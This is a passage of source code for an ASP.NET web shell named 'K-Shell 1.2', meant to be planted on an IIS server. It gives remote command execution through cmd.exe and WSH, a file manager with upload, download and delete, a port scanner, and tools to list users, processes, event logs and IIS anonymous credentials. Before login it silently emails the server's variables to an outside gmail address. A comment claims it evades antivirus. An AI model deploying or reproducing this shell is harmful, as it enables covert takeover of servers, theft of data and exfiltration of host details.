  737.  
  738. ' Functions
  739.  
  740.     public function br_()
  741.         br_ = "<br>"
  742.     end function
  743.  
  744.     public function b_(contents)
  745.         b_ = "<b>"+ contents + "</b>"
  746.     end function
  747.  
  748.     public function i_(contents)
  749.         i_ = "<i>"+ contents + "</i>"
  750.     end function
  751.  
  752.     public function li_(contents)
  753.         li_ = "<li>"+ contents + "</li>"
  754.     end function
  755.  
  756.     public function h1_(contents)
  757.         h1_ = "<h1>"+ contents + "</h1>"
  758.     end function
  759.  
  760.     public function h2_(contents)
  761.         h2_ = "<h2>"+ contents + "</h2>"
  762.     end function
  763.  
  764.     public function h3_(contents)
  765.         h3_ = "<h3>"+ contents + "</h3>"
  766.     end function
  767.  
  768.     public function big_(contents)
  769.         big_ = "<big>"+ contents + "</big>"
  770.     end function
  771.  
  772.     public function center_(contents)
  773.         center_ = "<center>"+ cstr(contents) + "</center>"
  774.     end function
  775.  
  776.  
  777.     public function td_force_width_(width)
  778.         td_force_width_ = "<br><img src='' height=0 width=" + cstr(width) +  " border=0>"
  779.     end function
  780.  
  781.  
  782.     public function red_(contents)
  783.         red_ = "<font color=red>"+contents+"</font>"
  784.     end function
  785.  
  786.     public function yellow_(contents)
  787.         yellow_ = "<font color='#FF8800'>"+contents+"</font>"
  788.     end function
  789.  
  790.     public function green_(contents)
  791.         green_ = "<font color=green>"+contents+"</font>"
  792.     end function
  793.  
  794.     Public function link_(title,link,target)
  795.         link_ = "<a href='"+link+"' target='"+target+"'>"+title+"</a>"
  796.     end function
  797. 'End HTML SNIPPETS 
  798.  
  799. 'Begin Scanner
  800. Public Class Scanner
  801. Public Ips As New ArrayList()
  802. Public ports As New ArrayList()
  803. Public succMsg As New StringBuilder()
  804. Public ret As ListBox
  805. Public errMsg As String = ""
  806. Public Timeout As Integer = 3000
  807. Public Sub start()
  808. Dim thread As New Thread(New ThreadStart(AddressOf Me.run))
  809. thread.Start()
  810. thread = Nothing
  811. End Sub
  812.  
  813. Public Sub run()
  814. ret.Items.Clear()
  815. For Each ip As String In Ips
  816. For Each port As String In ports
  817. 'ret.Items.Add(ip + ":" + port);
  818. Dim scanres As String = ""
  819. Try
  820. Dim tcpClient As New TcpClient()
  821. Try
  822.            tcpClient.Connect(ip, Int32.Parse(port))
  823.            tcpClient.Close()
  824.            ret.Items.Add(ip + " : " + port + " ................................. Open")
  825.      Catch e As SocketException
  826.            ret.Items.Add(ip + " : " + port + " ................................. Close")
  827. End Try
  828. tcpClient.Close()
  829. Catch exp As SocketException
  830. errMsg = "ErrorCode : " + exp.ErrorCode.ToString() + " : " + exp.Message
  831. End Try
  832. Next
  833. Next
  834. End Sub
  835. End Class
  836.  
  837. Public Function MakeIps(ByVal StartIp As String, ByVal EndIP As String) As ArrayList
  838. Dim IpList As New ArrayList()
  839. Dim IpParts1 As String() = New String(3) {}
  840. Dim IpParts2 As String() = New String(3) {}
  841. IpParts1 = StartIp.Split("."C)
  842. IpParts2 = EndIP.Split("."C)
  843. Dim nTime As Integer = (Int32.Parse(IpParts2(0)) - Int32.Parse(IpParts1(0))) * 254 * 254 * 254 + (Int32.Parse(IpParts2(1)) - Int32.Parse(IpParts1(1))) * 254 * 254 + (Int32.Parse(IpParts2(2)) - Int32.Parse(IpParts1(2))) * 254 + (Int32.Parse(IpParts2(3)) - Int32.Parse(IpParts1(3))) + 1
  844. If nTime < 0 Then
  845. Response.Write("IP Address Error.Check" & Chr(13) & "" & Chr(10) & "")
  846. Return Nothing
  847. End If
  848. For n As Integer = 0 To nTime - 1
  849. IpList.Add(IpParts1(0) + "." + IpParts1(1) + "." + IpParts1(2) + "." + IpParts1(3))
  850. Dim tmp As Integer = Int32.Parse(IpParts1(3)) + 1
  851. IpParts1(3) = tmp.ToString()
  852. If IpParts1(3).Equals("255") Then
  853. tmp = Int32.Parse(IpParts1(2)) + 1
  854. IpParts1(2) = tmp.ToString()
  855. IpParts1(3) = "1"
  856. End If
  857. If IpParts1(2).Equals("255") Then
  858. tmp = Int32.Parse(IpParts1(1)) + 1
  859. IpParts1(1) = tmp.ToString()
  860. IpParts1(2) = "1"
  861. End If
  862. If IpParts1(1).Equals("255") Then
  863. tmp = Int32.Parse(IpParts1(0)) + 1
  864. IpParts1(0) = tmp.ToString()
  865. IpParts1(1) = "1"
  866.  
  867. End If
  868. Next
  869. Return IpList
  870. End Function
  871.  
  872.  
  873. Protected Sub btnScan_Click(ByVal sender As Object, ByVal e As EventArgs)
  874. If txtStartIP.Text = "" OrElse txtEndIP.Text = "" OrElse txtPorts.Text = "" Then
  875. Response.Write("IP OR Ports Error.Check")
  876. Return
  877. End If
  878. Dim StartIp As String = txtStartIP.Text
  879. Dim EndIp As String = txtEndIP.Text
  880. Dim ips As ArrayList = MakeIps(StartIp, EndIp)
  881. Dim ScanPorts As New ArrayList()
  882. Dim ports As String() = txtPorts.Text.Split(","C)
  883. For Each port As String In ports
  884. 'Response.Write(port);
  885. ScanPorts.Add(port)
  886. Next
  887. lstRet.Visible = True
  888. Label1.Visible = True
  889. Dim myscanner As New Scanner()
  890. myscanner.Ips = ips
  891. myscanner.ports = ScanPorts
  892. myscanner.ret = Me.lstRet
  893. myscanner.run()
  894. End Sub
  895.  
  896. Protected Sub btnReset_Click(ByVal sender As Object, ByVal e As EventArgs)
  897. txtStartIP.Text = ""
  898. txtEndIP.Text = ""
  899. txtPorts.Text = ""
  900. Label1.Visible = False
  901. lstRet.Visible = False
  902. End Sub
  903. 'End Scanner
  904. </script>
  905. <%
  906. if request.QueryString("action")="down" and session("kikicoco")=1 then
  907.         downTheFile(request.QueryString("src"))
  908.         response.End()
  909. end if
  910. Dim act as string = request.QueryString("action")
  911. if act="cmd" then
  912. TITLE="CMD.NET"
  913. elseif act="cmdw32" then
  914. TITLE="ASP.NET W32 Shell"
  915. elseif act="cmdwsh" then
  916. TITLE="ASP.NET WSH Shell"
  917. elseif act="sqlrootkit" then
  918. TITLE="SqlRootKit.NET"
  919. elseif act="clonetime" then
  920. TITLE="Clone Time"
  921. elseif act="information" then
  922. TITLE="Web Server Info"
  923. elseif act="goto" then
  924. TITLE="K-Shell 1.2"
  925. elseif act="pro1" then
  926. TITLE="List processes from server"
  927. elseif act="pro2" then
  928. TITLE="List processes from server"
  929. elseif act="user" then
  930. TITLE="List User Accounts"
  931. elseif act="applog" then
  932. TITLE="List Application Event Log Entries"
  933. elseif act="syslog" then
  934. TITLE="List System Event Log Entries"
  935. elseif act="auser" then
  936. TITLE="IIS List Anonymous' User details"
  937. elseif act="sqlman" then
  938. TITLE="MSSQL Management"
  939. elseif act="scan" then
  940. TITLE="Port Scanner"
  941. elseif act="iisspy" then
  942. TITLE="IIS Spy"
  943. elseif act="sqltool" then
  944. TITLE="SQL Tool"
  945. elseif act="regshell" then
  946. TITLE="Registry Shell"
  947. else
  948. TITLE=request.ServerVariables("HTTP_HOST")
  949. end if
  950. %>
  951. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  952. <html>
  953. <style type="text/css">
  954. body,td,th {
  955.     color: #00FF00;
  956.     font-family: Courier New;
  957. }
  958. b
  959. {
  960.     color: #00FF00
  961. }
  962. body {
  963.     background-color: #000000;
  964.     font-size:12px;
  965.     font-family:"Courier New";
  966. }
  967. .buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
  968. .TextBox {border: 1px solid #084B8E}
  969. .style3 {color: #FF0000}
  970. </style>
  971. <head>
  972. <meta http-equiv="Content-Type" content="text/html">
  973. <title><%=TITLE%></title>
  974. </head>
  975. <body>
  976. <div align="center">K-Shell 1.2 By <a href="http://www.guru.net.vn" target="_blank" title="Welcome to my page:)">kikicoco</a> from <font color="red">Vietnam</font> [<a href="http://vnsecurity.com" target="_blank">VHS</a>]</div>
  977. <hr>
  978. <%
  979. Dim error_x as Exception
  980. Try
  981. if session("kikicoco")<>1 then
  982. 'Test sending anonymous mail, comment it if you don't want test it
  983.     dim info As String
  984.     Try
  985.     info = request.ServerVariables.ToString.Replace("%2f","/").Replace("%5c","\").Replace("%3a",":").Replace("%2c",",").Replace("%3b",";").Replace("%3d","=").Replace("%2b","+").Replace("%0d%0a",vbnewline)
  986.     System.Web.Mail.SmtpMail.SmtpServer = "localhost"
  987.     System.Web.Mail.SmtpMail.Send(request.ServerVariables("HTTP_HOST"),"test.mail.address.2008@gmail.com",request.ServerVariables("HTTP_HOST")+request.ServerVariables("URL"),info)
  988.     Catch
  989.     End Try
  990. %>
  991. <center>
  992. <form runat="server">
  993.  Your Password:<asp:TextBox ID="TextBox" runat="server"  TextMode="Password" class="TextBox" />  
  994.  <asp:Button  ID="Button" runat="server" Text="Login" ToolTip="Click here to login"  OnClick="login_click" class="buttom" />
  995. </form>
  996. </center>
  997. <%
  998. else
  999.     dim temp as string
  1000.     temp=request.QueryString("action")
  1001.     if temp="" then temp="goto"
  1002.     select case temp
  1003.     case "goto"
  1004.         if request.QueryString("src")<>"" then
  1005.             url=request.QueryString("src")
  1006.         else
  1007.             url=server.MapPath(".") & "\"
  1008.         end if
  1009.     call existdir(url)
  1010.     dim xdir as directoryinfo
  1011.     dim mydir as new DirectoryInfo(url)
  1012.     dim guru as string
  1013.     dim xfile as fileinfo
  1014.    
  1015.     dim ServerIP As string = "Server IP : <b>" + Request.ServerVariables("LOCAL_ADDR") + "</b> - Client IP : <b>" + getIP() + "</b> - "
  1016.    dim HostName As string = "HostName : <b>" + Environment.MachineName + "</b> - Username : <b>"+ Environment.UserName +"</b><br>"
  1017.    dim OSVersion As string = "OS Version : <b>" + Environment.OSVersion.ToString() + "</b>"
  1018.    dim IISversion As string = " - IIS Version : <b>" + Request.ServerVariables("SERVER_SOFTWARE") + "</b><br>System Dir : <b>" + Environment.SystemDirectory + "</b>"
  1019.    dim PATH_INFO As string = " - PATH_TRANSLATED : <b>" + Request.ServerVariables("PATH_TRANSLATED") + "</b><br>"
  1020.    dim HARDWARE_INFO As string = ""
  1021.    Dim environmentVariables As IDictionary = Environment.GetEnvironmentVariables()
  1022.     Dim de As DictionaryEntry
  1023.     For Each de In  environmentVariables
  1024.     if de.Key = "NUMBER_OF_PROCESSORS" then
  1025.     HARDWARE_INFO += "Hardware Info : <b>" + de.Value + "CPU - "
  1026.     end if
  1027.     if de.Key = "PROCESSOR_IDENTIFIER" then
  1028.     HARDWARE_INFO += de.Value + "</b><br>"
  1029.     end if
  1030.     Next
  1031.    Info.Text += ServerIP + HostName + OSVersion + IISversion + PATH_INFO + HARDWARE_INFO
  1032. %>
  1033. <table width="100%"  border="0" align="center">
  1034.  <tr>
  1035.     <td><asp:Label ID="Info" runat="server" EnableViewState="False" /></td>
  1036.  </tr>
  1037. </table>
  1038. <hr>
  1039.  
  1040. <table width="100%"  border="0" align="center">
  1041.  <tr>
  1042.     <td>Currently Dir:</td> <td><font color=red><%=url%></font></td>
  1043.  </tr>
  1044.  <tr>
  1045.    <td width="10%">Operate:</td>
  1046.    <td width="90%"><a href="?action=new&src=<%=server.UrlEncode(url)%>" title="New file or directory">New</a> -
  1047.      <%if session("cutboard")<>"" then%>
  1048.      <a href="?action=paste&src=<%=server.UrlEncode(url)%>" title="you can paste">Paste</a> -
  1049.      <%else%>
  1050.     Paste -
  1051. <%end if%>
  1052. <a href="?action=upfile&src=<%=server.UrlEncode(url)%>" title="Upload file">UpLoad</a> - <a href="?action=goto&src=" & <%=server.MapPath(".")%> title="Go to this file's directory">GoBackDir </a> - <a href="?action=logout" title="Exit" ><font color="red">Quit</font></a>
  1053. </td>
  1054.  </tr>
  1055.  <tr>
  1056.    <td>
  1057.     Go to: </td>
  1058.    <td>
  1059. <%
  1060. dim i as integer
  1061. for i =0 to Directory.GetLogicalDrives().length-1
  1062.     response.Write("<a href='?action=goto&src=" & Directory.GetLogicalDrives(i) & "'>" & Directory.GetLogicalDrives(i) & " </a>")
  1063. next
  1064. %>
  1065.  
  1066. </td>
  1067. <td align="Left">
  1068. <%
  1069. response.Write("IP:<font color=red>" & Request.ServerVariables("REMOTE_ADDR")&"</font>")
  1070. %>
  1071. </td>
  1072.  </tr>
  1073.  
  1074.  <tr>
  1075.    <td>Tool:</td>
  1076.    <td><a href="?action=sqlrootkit" >SqlRootKit.NET </a> - <a href="?action=cmd" >CMD.NET</a> - <a href="?action=cmdw32" >kshellW32</a> - <a href="?action=cmdwsh" >kshellWSH</a> - <a href="?action=clonetime&src=<%=server.UrlEncode(url)%>" >CloneTime</a> - <a href="?action=information" >System Info</a> - <a href="?action=pro1" >List Processes 1</a> - <a href="?action=pro2" >List Processes 2</a></td>    
  1077.  </tr>
  1078.  <tr>
  1079.    <td> </td>
  1080.    <td><a href="?action=user" >List User Accounts</a> - <a href="?action=auser" >IIS Anonymous User</a>- <a href="?action=scan" >Port Scanner</a> - <a href="?action=iisspy" >IIS Spy</a> - <a href="?action=regshell" >Registry Shell</a> - <a href="?action=applog" >Application Event Log </a> - <a href="?action=syslog" >System Log</a></td>
  1081.  </tr>
  1082. </table>
  1083. <hr>
  1084. <table width="100%"  border="0" align="center">
  1085.     <tr>
  1086.     <td width="40%"><strong>Name</strong></td>
  1087.     <td width="15%"><strong>Size</strong></td>
  1088.     <td width="20%"><strong>ModifyTime</strong></td>
  1089.     <td width="25%"><strong>Operate</strong></td>
  1090.     </tr>
  1091.      <tr>
  1092.        <td><%
  1093.         guru= "<tr><td><a href='?action=goto&src=" & server.UrlEncode(Getparentdir(url)) & "'><i>|Parent Directory|</i></a></td></tr>"
  1094.         response.Write(guru)
  1095.         for each xdir in mydir.getdirectories()
  1096.             response.Write("<tr>")
  1097.             dim filepath as string
  1098.             filepath=server.UrlEncode(url & xdir.name)
  1099.             guru= "<td><a href='?action=goto&src=" & filepath & "\" & "'>" & xdir.name & "</a></td>"
  1100.             response.Write(guru)
  1101.             response.Write("<td>&lt;dir&gt;</td>")
  1102.             response.Write("<td>" & Directory.GetLastWriteTime(url & xdir.name) & "</td>")
  1103.             guru="<td><a href='?action=cut&src=" & filepath & "\'  target='_blank'>Cut" & "</a>|<a href='?action=copy&src=" & filepath & "\'  target='_blank'>Copy</a>|<a href='?action=del&src=" & filepath & "\'" & " onclick='return del(this);'>Del</a></td>"
  1104.             response.Write(guru)
  1105.             response.Write("</tr>")
  1106.         next
  1107.         %></td>
  1108.  </tr>
  1109.         <tr>
  1110.        <td><%
  1111.         for each xfile in mydir.getfiles()
  1112.             dim filepath2 as string
  1113.             filepath2=server.UrlEncode(url & xfile.name)
  1114.             response.Write("<tr>")
  1115.             guru="<td>" & xfile.name & "</td>"
  1116.             response.Write(guru)
  1117.             guru="<td>" & GetSize(xfile.length) & "</td>"
  1118.             response.Write(guru)
  1119.             response.Write("<td>" & file.GetLastWriteTime(url & xfile.name) & "</td>")
  1120.             guru="<td><a href='?action=edit&src=" & filepath2 & "'>Edit</a>|<a href='?action=cut&src=" & filepath2 & "' target='_blank'>Cut</a>|<a href='?action=copy&src=" & filepath2 & "' target='_blank'>Copy</a>|<a href='?action=rename&src=" & filepath2 & "'>Rename</a>|<a href='?action=down&src=" & filepath2 & "' onClick='return down(this);'>Download</a>|<a href='?action=del&src=" & filepath2 & "' onClick='return del(this);'>Del</a></td>"           
  1121.             response.Write(guru)
  1122.             response.Write("</tr>")
  1123.         next
  1124.         response.Write("</table>")
  1125.         %></td>
  1126.      </tr>
  1127. </table>
  1128. <script language="javascript">
  1129. function del()
  1130. {
  1131. if(confirm("Are you sure?")){return true;}
  1132. else{return false;}
  1133. }
  1134. function down()
  1135. {
  1136. if(confirm("If the file size > 20M,\nPlease don\'t download\nYou can copy file to web directory ,use http download\nAre you sure download?")){return true;}
  1137. else{return false;}
  1138. }
  1139. </script>
  1140. <%
  1141. case "information"
  1142.     dim CIP,CP as string
  1143.     if getIP()<>request.ServerVariables("REMOTE_ADDR") then
  1144.             CIP=getIP()
  1145.             CP=request.ServerVariables("REMOTE_ADDR")
  1146.     else
  1147.             CIP=request.ServerVariables("REMOTE_ADDR")
  1148.             CP="None"
  1149.     end if
  1150. %>
  1151. <div align=center>[ Web Server Information ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></div><br>
  1152. <table width="100%"  border="1" align="center">
  1153.  <tr>
  1154.    <td width="40%">Server IP</td>
  1155.    <td width="60%"><%=request.ServerVariables("LOCAL_ADDR")%></td>
  1156.  </tr>
  1157.  <tr>
  1158.    <td height="73">Machine Name</td>
  1159.    <td><%=Environment.MachineName%></td>
  1160.  </tr>
  1161.  <tr>
  1162.    <td>Network Name</td>
  1163.    <td><%=Environment.UserDomainName.ToString()%></td>
  1164.  </tr>
  1165.  <tr>
  1166.    <td>User Name in this Process</td>
  1167.    <td><%=Environment.UserName%></td>
  1168.  </tr>
  1169.  <tr>
  1170.    <td>OS Version</td>
  1171.    <td><%=Environment.OSVersion.ToString()%></td>
  1172.  </tr>
  1173.  <tr>
  1174.    <td>Started Time</td>
  1175.    <td><%=GetStartedTime(Environment.Tickcount)%> Hours</td>
  1176.  </tr>
  1177.  <tr>
  1178.    <td>System Time</td>
  1179.    <td><%=now%></td>
  1180.  </tr>
  1181.  <tr>
  1182.    <td>IIS Version</td>
  1183.    <td><%=request.ServerVariables("SERVER_SOFTWARE")%></td>
  1184.  </tr>
  1185.  <tr>
  1186.    <td>HTTPS</td>
  1187.    <td><%=request.ServerVariables("HTTPS")%></td>
  1188.  </tr>
  1189.  <tr>
  1190.    <td>PATH_INFO</td>
  1191.    <td><%=request.ServerVariables("PATH_INFO")%></td>
  1192.  </tr>
  1193.  <tr>
  1194.    <td>PATH_TRANSLATED</td>
  1195.    <td><%=request.ServerVariables("PATH_TRANSLATED")%></td>
  1196.  <tr>
  1197.    <td>SERVER_PORT</td>
  1198.    <td><%=request.ServerVariables("SERVER_PORT")%></td>
  1199.  </tr>
  1200.    <tr>
  1201.    <td>SeesionID</td>
  1202.    <td><%=Session.SessionID%></td>
  1203.  </tr>
  1204.  <tr>
  1205.    <td colspan="2"><span class="style3">Client Infomation</span></td>
  1206.  </tr>
  1207.  <tr>
  1208.    <td>Client Proxy</td>
  1209.    <td><%=CP%></td>
  1210.  </tr>
  1211.  <tr>
  1212.    <td>Client IP</td>
  1213.    <td><%=CIP%></td>
  1214.  </tr>
  1215.  <tr>
  1216.    <td>User</td>
  1217.    <td><%=request.ServerVariables("HTTP_USER_AGENT")%></td>
  1218.  </tr>
  1219. </table>
  1220. <table align=center>
  1221.     <% Create_table_row_with_supplied_colors("Black", "White", "center", "Environment Variables, Server Variables") %>
  1222.     <tr>
  1223.         <td><textArea cols=50 rows=10><% output_all_environment_variables("text") %></textarea></td>
  1224.         <td><textArea cols=50 rows=10><% output_all_Server_variables("text") %></textarea></td>
  1225.     </tr>
  1226. </table>
  1227. <%
  1228.     case "cmd"
  1229. %>
  1230. <form runat="server">
  1231.  <p>[ CMD.NET for WebAdmin ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1232.  <p> Execute command with ASP.NET account(<span class="style3">Notice: only click &quot;Run&quot; to run</span>)</p>
  1233.  <p>- This function has fixed by kikicoco.Antivirus has not detected (2007/02/27)-</p>
  1234.  Command:
  1235.  <asp:TextBox ID="cmd" runat="server" Width="300" class="TextBox" />
  1236.  <asp:Button ID="Button123" runat="server" Text="Run" OnClick="RunCMD" class="buttom"/>  
  1237.  <p>
  1238.   <asp:Label ID="result" runat="server" style="style2"/>      </p>
  1239. </form>
  1240. <%
  1241.     case "cmdw32"
  1242. %>
  1243. <form runat="server">
  1244.     <p>[ ASP.NET W32 Shell ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1245.     <p> Execute command with ASP.NET account using W32(<span class="style3">Notice: only click &quot;Run&quot; to run</span>)</p>
  1246.     <%
  1247.     Response.Write("System Dir : "+Environment.SystemDirectory +"<br><br>")
  1248.     %>
  1249.     CMD File:
  1250.     <asp:TextBox ID="txtCmdFile" runat="server" Width="473px" style="border: 1px solid #084B8E">C:\\WINDOWS\\system32\\cmd.exe</asp:TextBox><br><br>
  1251.     Command:&nbsp;
  1252.     <asp:TextBox ID="txtCommand1" runat="server" style="border: 1px solid #084B8E"/>
  1253.     <asp:Button ID="Buttoncmdw32" runat="server" Text="Run" OnClick="RunCmdW32" style="color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5"/>  
  1254.     <p>
  1255.    <asp:Label ID="resultcmdw32" runat="server" style="color: #0000FF"/>      
  1256.    </p>
  1257. </form>
  1258. <%
  1259.     case "cmdwsh"
  1260. %>
  1261. <form runat="server">
  1262.     <p>[ ASP.NET WSH Shell ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1263.     <p> Execute command with ASP.NET account using WSH(<span class="style3">Notice: only click &quot;Run&quot; to run</span>)</p>
  1264.     Command:
  1265.     <asp:TextBox ID="txtCommand2" runat="server" style="border: 1px solid #084B8E"/>
  1266.     <asp:Button ID="Buttoncmdwsh" runat="server" Text="Run" OnClick="RunCmdWSH" style="color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5"/>  
  1267.     <p>
  1268.    <asp:Label ID="resultcmdwsh" runat="server" style="color: #0000FF"/>      
  1269.    </p>
  1270. </form>
  1271. <%
  1272.     case "pro1"
  1273. %>
  1274. <form runat="server">
  1275.     <p align=center>[ List processes from server ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1276.     <table align=center>
  1277.         <tr>
  1278.             <td>
  1279.             <%
  1280.                 Try
  1281.                 output_wmi_function_data("Win32_Process","ProcessId,Name,WorkingSetSize,HandleCount")
  1282.                 Catch
  1283.                 rw("This function is disabled by server")
  1284.                 End Try
  1285.             %>
  1286.             </td>
  1287.         </tr>
  1288.     </table>
  1289. </form>
  1290. <%
  1291.     case "pro2"
  1292. %>
  1293. <form runat="server">
  1294.     <p align=center>[ List processes from server ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1295.     <table align=center width='80%'>
  1296.         <tr>
  1297.             <td>
  1298.             <%
  1299.                 Dim htmlbengin As String = "<table width='80%' align=center border=0><tr align=center><td width='20%'><b>ID</b></td><td align=left width='20%'><b>Process</b></td><td align=left width='20%'><b>MemorySize</b></td><td align=center width='10%'><b>Threads</b></td></tr>"
  1300.                   Dim prostr As String = ""
  1301.                   Dim htmlend As String = "</tr></table>"
  1302.                   Try
  1303.                         Dim mypro As Process() = Process.GetProcesses()
  1304.                         For Each p As Process In mypro
  1305.                               prostr += "<tr><td align=center>" + p.Id.ToString() + "</td>"
  1306.                               prostr += "<td align=left>" + p.ProcessName.ToString() + "</td>"
  1307.                               prostr += "<td align=left>" + p.WorkingSet.ToString() + "</td>"
  1308.                               prostr += "<td align=center>" + p.Threads.Count.ToString() + "</td>"
  1309.                         Next
  1310.                   Catch ex As Exception
  1311.                         Response.write(ex.Message)
  1312.                   End Try
  1313.                   Response.write(htmlbengin + prostr + htmlend)
  1314.             %>
  1315.             </td>
  1316.         </tr>
  1317.     </table>
  1318. </form>
  1319. <%
  1320.     case "user"
  1321. %>
  1322. <form runat="server">
  1323.     <p align=center>[ List User Accounts ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1324.     <table align=center>
  1325.         <tr>
  1326.             <td>
  1327.             <%
  1328.                 dim WMI_function = "Win32_UserAccount"     
  1329.                 dim Fields_to_load = "Name,Domain,FullName,Description,PasswordRequired,SID"
  1330.                 dim fail_description = " Access to " + WMI_function + " is protected"
  1331.                 Try
  1332.                 output_wmi_function_data(WMI_function,Fields_to_load)
  1333.                 Catch
  1334.                 rw(fail_description)
  1335.                 End Try
  1336.             %>
  1337.             </td>
  1338.         </tr>
  1339.     </table>
  1340. </form>
  1341. <%
  1342.     case "reg"
  1343. %>
  1344. <form runat="server">
  1345.     <p align=center>[ Registry ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1346.     <table align=center>
  1347.         <tr>
  1348.             <td>
  1349.             <%
  1350.                 dim WMI_function = "Win32_Registry"    
  1351.                 dim Fields_to_load = "Caption,CurrentSize,Description,InstallDate,Name,Status"
  1352.                 dim fail_description = " Access to " + WMI_function + " is protected"
  1353.                 Try
  1354.                 output_wmi_function_data(WMI_function,Fields_to_load)
  1355.                 Catch
  1356.                 rw(fail_description)
  1357.                 End Try
  1358.             %>
  1359.             </td>
  1360.         </tr>
  1361.     </table>
  1362. </form>
  1363. <%
  1364.     case "applog"
  1365. %>
  1366. <form runat="server">
  1367.     <p align=center>[ List Application Event Log Entries ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1368.     <table align=center>
  1369.         <tr>
  1370.             <td>
  1371.             <%
  1372.                 dim WMI_function = "Win32_NTLogEvent where Logfile='Application'"      
  1373.                 dim Fields_to_load = "Logfile,Message,type"
  1374.                 dim fail_description = " Access to " + WMI_function + " is protected"
  1375.                 Try
  1376.                 output_wmi_function_data_instances(WMI_function,Fields_to_load,2000)
  1377.                 Catch
  1378.                 rw(fail_description)
  1379.                 End Try
  1380.             %>
  1381.             </td>
  1382.         </tr>
  1383.     </table>
  1384. </form>
  1385. <%
  1386.     case "syslog"
  1387. %>
  1388. <form runat="server">
  1389.     <p align=center>[ List System Event Log Entries ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1390.     <table align=center>
  1391.         <tr>
  1392.             <td>
  1393.             <%
  1394.                 dim WMI_function = "Win32_NTLogEvent where Logfile='System'"       
  1395.                 dim Fields_to_load = "Logfile,Message,type"
  1396.                 dim fail_description = " Access to " + WMI_function + " is protected"
  1397.                
  1398.                 Try
  1399.                 output_wmi_function_data_instances(WMI_function,Fields_to_load,2000)
  1400.                 Catch
  1401.                 rw("This function is disabled by server")
  1402.                 End Try
  1403.             %>
  1404.             </td>
  1405.         </tr>
  1406.     </table>
  1407. </form>
  1408. <%
  1409.     case "auser"
  1410. %>
  1411. <form runat="server">
  1412.     <p align=center>[ IIS List Anonymous' User details ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1413.     <table align=center>
  1414.         <tr>
  1415.             <td>
  1416.             <%
  1417.                 Try
  1418.                 IIS_list_Anon_Name_Pass
  1419.                 Catch
  1420.                 rw("This function is disabled by server")
  1421.                 End Try
  1422.             %>
  1423.             </td>
  1424.         </tr>
  1425.     </table>
  1426. </form>
  1427. <%
  1428.     case "scan"
  1429. %>
  1430.     <form runat="server">
  1431.     <p>[ ASP.NET Port Scanner ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1432.     <div>
  1433.         C# coded by Hackwol & Lenk, VB coded by kikicoco (19/08/2008)<br /><br />
  1434.         Start IP :&nbsp;&nbsp;<asp:TextBox ID="txtStartIP" runat="server" Width="177px">127.0.0.1</asp:TextBox>
  1435.         &nbsp;&nbsp; &nbsp; --- &nbsp;End Ip : &nbsp;<asp:TextBox ID="txtEndIP" runat="server" Width="185px">127.0.0.1</asp:TextBox>&nbsp;
  1436.         <br />
  1437.         Ports &nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;<asp:TextBox ID="txtPorts" runat="server" Width="473px">21,25,80,1433,3306,3389</asp:TextBox><br />
  1438.         <br />
  1439.         <asp:Button ID="btnScan" runat="server" Text="Scan" Width="60px" Font-Bold="True" ForeColor="MediumBlue" BorderStyle="Solid" OnClick="btnScan_Click" />
  1440.         &nbsp;&nbsp;
  1441.         <asp:Button ID="btnReset" runat="server" Text="Reset" Width="60px" Font-Bold="True" ForeColor="MediumBlue" BorderStyle="Solid" OnClick="btnReset_Click" /><br />
  1442.         <br />
  1443.         <asp:Label ID="Label1" runat="server" Text="Result:" Visible="False" Width="70px"></asp:Label><br />
  1444.         <asp:ListBox ID="lstRet" runat="server" BackColor="Black" ForeColor="#00C000" Height="251px"
  1445.             Width="527px" Visible="False"></asp:ListBox>
  1446.         <hr align=left style="width: 526px" />
  1447.         <br />
  1448.        </div>
  1449.     </form>
  1450. <%
  1451. case "iisspy"
  1452. %>
  1453.     <p align=center>[ IIS Spy ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1454.     <%
  1455.                 Try
  1456.                 Response.write(IISSpy())
  1457.                 Catch
  1458.                 rw("This function is disabled by server")
  1459.                 End Try
  1460.     %>
  1461. <%
  1462. case "sqltool"
  1463. %>
  1464.     <p align=center>[ SQL Tool ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1465.     <%
  1466.                 Try
  1467.                
  1468.                 Catch
  1469.                 rw("This function is disabled by server")
  1470.                 End Try
  1471.     %>
  1472. <%
  1473. case "regshell"
  1474. %>
